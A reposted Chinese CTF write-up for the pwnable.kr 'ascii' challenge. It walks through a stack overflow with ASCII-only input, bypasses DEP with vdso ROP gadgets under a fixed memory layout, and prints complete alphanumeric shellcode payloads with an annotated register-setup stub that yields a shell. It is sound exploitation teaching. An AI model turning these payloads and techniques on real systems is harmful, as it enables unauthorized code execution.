pwnable之ascii

来源:互联网 发布:linux 获取函数返回值 编辑:程序博客网 时间:2024/06/05 20:53

pwnable.kr ascii writeup

程序只开启了DEP

1

在vuln函数中有一个很明显的栈溢出

2

但是输入时会校验是否为ascii字符

3

既然是本地利用,那就先ulimit -s unlimited(可以让so和vdso的基地址固定),然后调试查看内存布局

4

由于vdso的基地址为0x55557000,因此可以使用vdso的ropgadget,接下来dump出这段内存,然后在vuln的返回处0x08048F0D下断,查看栈上的信息

5

发现栈上有0x80000000,由于程序开启了DEP,而0x80000000这段内存是可执行的,因此可以通过构造ROP链让程序返回到0x80000000,搜索一发ropgadget

6

我这里选择使用两个pop pop pop ret(0xb60)和一个pop pop ret(0xb61),这样就可以让程序返回到0x80000000,接下来就是找ascii shellcode了,网上找到一篇http://inaz2.hatenablog.com/entry/2014/07/11/004655,执行这段shellcode前需要把这段shellcode的地址存到eax,而且最后是返回到栈上执行,所以在真正执行前需要把eax设为这段shellcode的地址,并且把esp指向0x80000000上的一个地址,通过查看vuln函数的栈布局知道局部变量空间大小是0xa8,由此可以构造如下payload

'A' * 0x25 + 'PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx' + '`{UU' + 'A' * 12 + '`{UU' + 'A' * 12 + 'a{UU'

在返回到0x80000000之前查看下寄存器和栈布局

7

可以发现ebx存放的是输入的结尾地址,而真正shellcode的地址为0x80000025,由此可以构造如下payload

j0X40PZJCCCSTY01XP\CCCCCCCCCCCCCCCCCCPYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx`{UUAAAAAAAAAAAA`{UUAAAAAAAAAAAAa{UUAAAAAAA

j0X40PZJCCCSTY01XP\CCCCCCCCCCCCCCCCCC为

push 0x30pop eax// eax = 0xor al, 0x30push eaxpop edx// edx = 0xffffffffdec edxinc ebxinc ebxinc ebx// ebx = 0x800000dapush ebxpush esppop ecx// 0xda ^ 0xff = 0x25xor [ecx], dh// eax = 0x80000025pop eaxpush eax// esp = 0x80000025pop esp// paddinginc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebx

另外还要注意esp要尽量大,不然如果esp小于0x80000000,程序就会出错,最后用这个payload拿到shell

8

 

*作者:bird@Hurricane Security  Mottoin授权发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/87792.html

原创粉丝点击